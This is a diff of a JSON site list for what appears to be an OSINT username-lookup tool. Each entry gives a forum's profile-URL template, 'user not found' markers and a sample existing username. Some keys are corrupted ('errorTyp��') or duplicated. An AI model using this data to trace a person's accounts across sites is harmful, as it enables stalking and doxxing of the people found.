+ },
+ "Forum_ppcgeeks": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "This user has not registered and therefore does not have",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.ppcgeeks.com/member.php?username={}",
+ "urlMain": "https://forum.ppcgeeks.com",
+ "usernameON": "nerds",
+ "comments": "not_diff",
+ "bad_site": 1
+ },
+ "Forum_praktika": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pravmama.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pravmama.ucoz.ru",
+ "usernameON": "toolni",
+ "bad_site": ""
+ },
+ "Forum_pravo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://pravo.r1v.ru/index/8-0-{}",
+ "urlMain": "http://pravo.r1v.ru",
+ "usernameON": "Arkchloush",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Forum_pravoslavie": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://pravoslavie-forum.org/members/?username={}",
+ "urlMain": "https://pravoslavie-forum.org",
+ "usernameON": "serg",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pravoslavie-12": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pravoslavie-12.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pravoslavie-12.ucoz.ru",
+ "usernameON": "Admins",
+ "bad_site": ""
+ },
+ "Forum_pravoslavie-alt": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.pravoslavie-alt.ru/index/8-0-{}",
+ "urlMain": "https://www.pravoslavie-alt.ru",
+ "usernameON": "Loginova19",
+ "comments": "Oplata",
+ "bad_site": 1
+ },
+ "Forum_pravoslavielove": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pravoslavielove.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pravoslavielove.ucoz.ru",
+ "usernameON": "Oles",
+ "bad_site": ""
+ },
+ "Forum_predatel": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://predatel.ucoz.ua/index/8-0-{}",
+ "urlMain": "https://predatel.ucoz.ua",
+ "usernameON": "Старлей",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_pregnancy": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Извините, такого пользователя не существует",
+ "errorMsg2": "robots\" content=\"noindex, nofollow",
+ "errorMsg3": "Critical Error",
+ "errorTyp��": "message",
+ "url": "https://pregnancy.org.ua/forum/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://pregnancy.org.ua",
+ "usernameON": "Nadinka",
+ "bad_site": ""
+ },
+ "Forum_prepas": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorMsg": "Aucun sujet ou message ne correspond à vos critères de recherche.",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "Information ",
+ "errorTyp��": "message",
+ "url": "https://forum.prepas.org/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.prepas.org",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_prepperforums": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.prepperforums.net/members/?username={}",
+ "urlMain": "https://www.prepperforums.net",
+ "usernameON": "paraquack",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pressball": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация\n ",
+ "errorTyp��": "message",
+ "url": "https://forum.pressball.by/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.pressball.by",
+ "usernameON": "zalgiris",
+ "bad_site": 1
+ },
+ "Forum_pressurewashingresource": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://pressurewashingresource.com/community/u/{}/summary",
+ "urlMain": "https://pressurewashingresource.com/",
+ "usernameON": "letterguy",
+ "bad_site": ""
+ },
+ "Forum_prestashop": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorMsg": "0 result",
+ "errorMsg2": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.prestashop.com/forums/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.prestashop.com",
+ "usernameON": "cmpm",
+ "bad_site": ""
+ },
+ "Forum_prihoz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://forum.prihoz.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.prihoz.ru",
+ "usernameON": "grawicapa",
+ "bad_site": ""
+ },
+ "Forum_primat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://primat.org/index/8-0-{}",
+ "urlMain": "http://primat.org",
+ "usernameON": "alyonaaaaaa",
+ "bad_site": ""
+ },
+ "Forum_primetimer": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "There were no results",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forums.primetimer.com/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.primetimer.com",
+ "usernameON": "athena",
+ "comments": "ZAK_user",
+ "bad_site": ""
+ },
+ "Forum_primhunt": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://primhunt.ru/members/?username={}",
+ "urlMain": "https://primhunt.ru",
+ "usernameON": "gap",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_primkoniponi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> ",
+ "errorMsg2": "hidden\" name=\"quicksearch",
+ "errorTyp��": "message",
+ "url": "http://www.priorovod.ru/blog.php?username={}",
+ "urlMain": "http://www.priorovod.ru",
+ "usernameON": "topcar77",
+ "bad_site": ""
+ },
+ "Forum_priroda77": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.privateinvestor2000.com/index/8-0-{}",
+ "urlMain": "http://www.privateinvestor2000.com",
+ "usernameON": "olga77kol",
+ "bad_site": ""
+ },
+ "Forum_prizrak": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "ничего не найдено",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://prizrak.ws/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC",
+ "urlMain": "https://prizrak.ws",
+ "usernameON": "Jockers",
+ "bad_site": ""
+ },
+ "Forum_prizyvnikmoy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://prizyvnikmoy.ru/index/8-0-{}",
+ "urlMain": "https://prizyvnikmoy.ru",
+ "usernameON": "t1984n2003",
+ "bad_site": ""
+ },
+ "Forum_pro-cats": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "http://pro-cats.ru/index/8-0-{}",
+ "urlMain": "http://pro-cats.ru",
+ "usernameON": "parrots",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_pro-edu": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pro-edu.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pro-edu.ucoz.ru",
+ "usernameON": "ViMo",
+ "bad_site": ""
+ },
+ "Forum_pro-kleim": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://pro-kleim.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://pro-kleim.ucoz.ru/",
+ "usernameON": "4047916",
+ "bad_site": ""
+ },
+ "Forum_pro-zarabotok": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://pro-zarabotok.su/index/8-0-{}",
+ "urlMain": "http://pro-zarabotok.su",
+ "usernameON": "grusakpavel",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Forum_pro100warezz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://pro100warezz.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pro100warezz.ucoz.ru",
+ "usernameON": "jasurbekvideo1987",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_probiv": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://probiv.cc/members/?username={}",
+ "urlMain": "https://probiv.cc",
+ "usernameON": "Valerun",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_prodigy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://prodigy.moy.su/index/8-0-{}",
+ "urlMain": "https://prodigy.moy.su",
+ "usernameON": "Jap",
+ "bad_site": ""
+ },
+ "Forum_prodjex": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forums.prodjex.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.prodjex.com",
+ "usernameON": "shriyanshi",
+ "bad_site": ""
+ },
+ "Forum_proekt-gaz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://proekt-gaz.ru/index/8-0-{}",
+ "urlMain": "http://proekt-gaz.ru",
+ "usernameON": "gaspar",
+ "bad_site": ""
+ },
+ "Forum_proekt-ts-ow-wk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://proekt-ts-ow-wk.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://proekt-ts-ow-wk.ucoz.ru",
+ "usernameON": "demi",
+ "bad_site": ""
+ },
+ "Forum_prof": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://prof-foto-video.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://prof-foto-video.ucoz.ru",
+ "usernameON": "Montager",
+ "bad_site": ""
+ },
+ "Forum_prof-rem-zona": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://prof-rem-zona.at.ua/index/8-0-{}",
+ "urlMain": "https://prof-rem-zona.at.ua",
+ "usernameON": "radopitopit0002",
+ "bad_site": ""
+ },
+ "Forum_professionalmuscle": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.professionalmuscle.com/forums/index.php?members/&username={}",
+ "urlMain": "https://www.professionalmuscle.com",
+ "usernameON": "lk3",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_profile_astro": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://profile.astro-seek.com/{}",
+ "urlMain": "https://profile.astro-seek.com",
+ "usernameON": "sduraybito",
+ "bad_site": ""
+ },
+ "Forum_profootball": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.profootballforums.com/members/?username={}",
+ "urlMain": "https://www.profootballforums.com",
+ "usernameON": "rowdy",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_progagarin": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://progagarin.ru/index/8-0-{}",
+ "urlMain": "http://progagarin.ru",
+ "usernameON": "Pol",
+ "bad_site": ""
+ },
+ "Forum_prohashing": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Information",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forums.prohashing.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://forums.prohashing.com",
+ "usernameON": "lewishamilton",
+ "bad_site": ""
+ },
+ "Forum_project-ss": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://project-ss.ru/index/8-0-{}",
+ "urlMain": "http://project-ss.ru",
+ "usernameON": "oleg1980nik",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Forum_projectpokemon": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Found 0 results",
+ "errorMsg2": "There were no results for your search.",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://projectpokemon.org/home/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://projectpokemon.org",
+ "usernameON": "insanenutter",
+ "bad_site": ""
+ },
+ "Forum_prokireevsk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://prokireevsk.ru/index/8-0-{}",
+ "urlMain": "http://prokireevsk.ru",
+ "usernameON": "WILDKATbjr",
+ "bad_site": ""
+ },
+ "Forum_pron": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://pron.my1.ru/index/8-0-{}",
+ "urlMain": "http://pron.my1.ru/",
+ "usernameON": "Belryelug",
+ "bad_site": ""
+ },
+ "Forum_propisnoy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://prostoljud.my1.ru/index/8-0-{}",
+ "urlMain": "https://prostoljud.my1.ru",
+ "usernameON": "biblicalstudiesru",
+ "bad_site": ""
+ },
+ "Forum_proxmox": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.proxmox.com/members/?username={}",
+ "urlMain": "https://forum.proxmox.com",
+ "usernameON": "emunt6",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pskovchess": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://forum.pskovchess.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.pskovchess.ru",
+ "usernameON": "shakh",
+ "bad_site": ""
+ },
+ "Forum_psp-club": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://psp-club.ucoz.net/index/8-0-{}",
+ "urlMain": "https://psp-club.ucoz.net",
+ "usernameON": "swp",
+ "bad_site": ""
+ },
+ "Forum_psp1": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://psp1.do.am/index/8-0-{}",
+ "urlMain": "https://psp1.do.am",
+ "usernameON": "serg2037",
+ "bad_site": ""
+ },
+ "Forum_psx-core": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://psx-core.ru/index/8-0-{}",
+ "urlMain": "https://psx-core.ru",
+ "usernameON": "pvc1",
+ "bad_site": ""
+ },
+ "Forum_psxworld": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://psxworld.ru/index/8-0-{}",
+ "urlMain": "http://psxworld.ru",
+ "usernameON": "majerock",
+ "bad_site": ""
+ },
+ "Forum_psy-dv_org": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://psy-dv.org/index/8-0-{}",
+ "urlMain": "https://psy-dv.org",
+ "usernameON": "Michael",
+ "bad_site": ""
+ },
+ "Forum_psych": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Information",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.psychforums.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://www.psychforums.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_psyche": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "возникла проблема ",
+ "errorMsg3": "Пожалуйста, подождите",
+ "errorTyp��": "message",
+ "url": "https://psyche.guru/forum/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://psyche.guru",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_psychobike": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.psychobike.com/members/?username={}",
+ "urlMain": "https://www.psychobike.com",
+ "usernameON": "streetfighterz",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_psystan": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.psystan.ru/index/8-0-{}",
+ "urlMain": "http://www.psystan.ru",
+ "usernameON": "Olsestar",
+ "bad_site": ""
+ },
+ "Forum_pt_at": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pt.at.ua/index/8-0-{}",
+ "urlMain": "https://pt.at.ua/",
+ "usernameON": "novator197726",
+ "bad_site": ""
+ },
+ "Forum_punkgazetka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>http://forum.quake2.com.ru :: ",
+ "errorTyp��": "message",
+ "url": "https://forum.quake2.com.ru/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://forum.quake2.com.ru/",
+ "usernameON": "Khidalov",
+ "bad_site": ""
+ },
+ "Forum_quakeworld": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W[а-яА-Я]",
+ "errorMsg": "not return any result. ",
+ "errorMsg2": "div class=\"table\" style=\"margin-bottom",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.quakeworld.nu/profiles/?u={}",
+ "urlMain": "https://www.quakeworld.nu",
+ "usernameON": "renzo",
+ "bad_site": ""
+ },
+ "Forum_questionablequesting": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "The specified member cannot be found. Please enter a member's entire name.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://forum.questionablequesting.com/members/?username={}",
+ "urlMain": "https://forum.questionablequesting.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_quik": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Кудряшов",
+ "errorMsg2": "указан код пользователя",
+ "errorTyp��": "message",
+ "url": "https://forum.quik.ru/user/{}/",
+ "urlMain": "https://forum.quik.ru",
+ "usernameON": "swerg",
+ "comments": "super",
+ "bad_site": 1
+ },
+ "Forum_r1": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.r1-forum.com/members/?username={}",
+ "urlMain": "https://www.r1-forum.com",
+ "usernameON": "rabbit671",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_r3": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.r3-forums.com/members/?username={}",
+ "urlMain": "https://www.r3-forums.com",
+ "usernameON": "renboy",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_r4n": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация",
+ "errorMsg2": "сообщений не найдено",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://r4n.su/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "http://r4n.su",
+ "usernameON": "43Radio43",
+ "bad_site": ""
+ },
+ "Forum_r4u": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://r4u.ucoz.net/index/8-0-{}",
+ "urlMain": "https://r4u.ucoz.net",
+ "usernameON": "adqeep",
+ "bad_site": ""
+ },
+ "Forum_r6": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.r6-forum.com/members/?username={}",
+ "urlMain": "https://www.r6-forum.com",
+ "usernameON": "tylerjones997",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_r8talk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.r8talk.com/members/?username={}",
+ "urlMain": "https://www.r8talk.com",
+ "usernameON": "stevekcropper",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ra1afe": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ra1afe.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://ra1afe.ucoz.ru",
+ "usernameON": "Admin",
+ "bad_site": ""
+ },
+ "Forum_ra4a": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://ra4a.ru/index/8-0-{}",
+ "urlMain": "http://ra4a.ru",
+ "usernameON": "Admin",
+ "bad_site": ""
+ },
+ "Forum_rabbitdogs": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.rabbitdogs.net/members/?username={}",
+ "urlMain": "https://www.rabbitdogs.net",
+ "usernameON": "bigk",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_racefans": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "exclusion": "\\W[а-яА-Я]",
+ "errorMsg": "You've crashed",
+ "errorMsg2": "One moment",
+ "errorTyp��": "message",
+ "url": "https://www.racefans.net/members/{}/",
+ "urlMain": "https://www.racefans.net",
+ "usernameON": "douglaswebster",
+ "bad_site": ""
+ },
+ "Forum_racer": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://racer.do.am/index/8-0-{}",
+ "urlMain": "https://racer.do.am",
+ "usernameON": "Jessika",
+ "bad_site": ""
+ },
+ "Forum_racketboy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Information ",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.racketboy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://www.racketboy.com",
+ "usernameON": "Limewater",
+ "bad_site": ""
+ },
+ "Forum_radio1": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.radiodom.org/index/8-0-{}",
+ "urlMain": "http://www.radiodom.org",
+ "usernameON": "Andrew",
+ "bad_site": ""
+ },
+ "Forum_radiotehnik72": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://radiotehnik72.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://radiotehnik72.ucoz.ru",
+ "usernameON": "akhmalik72",
+ "bad_site": ""
+ },
+ "Forum_rainbowhappy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
